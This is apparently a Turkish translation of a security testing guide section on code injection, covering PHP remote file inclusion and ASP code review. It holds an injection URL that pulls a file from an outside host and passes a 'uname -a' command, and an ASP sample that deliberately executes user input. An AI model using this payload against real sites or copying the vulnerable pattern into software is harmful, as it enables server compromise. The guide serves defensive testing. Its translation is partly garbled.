Testing for Code Injection (Kod Enjeksiyonu için Test)

Summary (Özet)

Bu bölüm, bir test cihazının bir web sayfasında şifreyi giriş olarak girmenin ve web sunucusu tarafından yürütülmesinin mümkün olup olmadığını nasıl kontrol edebileceğini açıklar.

Kod Enjeksiyon testinde, bir test cihazı web sunucusu tarafından işlenen girdiyi dinamik kod veya dahil edilen bir dosya olarak gönderir. Bu testler, çeşitli sunucu tarafı komut dosyası motorlarını, örneğin ASP veya PHP'yi hedefleyebilir. Uygun girdi doğrulaması ve güvenli kodlama uygulamalarının bu saldırılara karşı korunmak için kullanılması gerekir.

Test Objectives (Test Hedefleri)

- Uygulamaya kod enjekte edebileceğiniz enjeksiyon noktalarını belirleyin.
- Enjeksiyon şiddetini değerlendirin.

How To Test (Nasıl Test Edilir)

Black-Box Testing (Siyah-Kutu Testi)

Testing for PHP Injection Vulnerabilities (PHP Enjeksiyonu Güvenlik Açıkları için Test)

Sorgulamayı kullanarak, test cihazı dahil edilen dosyanın bir parçası olarak işlenmesi için kod (bu örnekte, kötü amaçlı bir URL) enjekte edebilir:

```
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
```

> Kötü amaçlı URL, daha sonra dahil edilen bir dosyada değeri kullanacak olan PHP sayfası için bir parametre olarak kabul edilir.

Gray-Box Testing (Gri-Kutu Testi)

Testing for ASP Code Injection Vulnerabilities (ASP Kod Enjeksiyon Güvenlik Açıkları için Test)

Yürütme fonksiyonlarında kullanılan kullanıcı girişi için ASP kodunu inceleyin. Kullanıcı Veri giriş alanına komutları girebilir mi? Burada, ASP kodu girişi bir dosyaya kaydedecek ve ardından yürütecektir:

```
<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>

<form>
<input name="Data" /><input type="submit" name="Enter Data" />

</form>
<%
End If
%>)))
```

References (Referanslar)

- Güvenlik Odağı
- Insecure.org
- Vikipedi
- OS Enjeksiyonu için İnceleme Kodu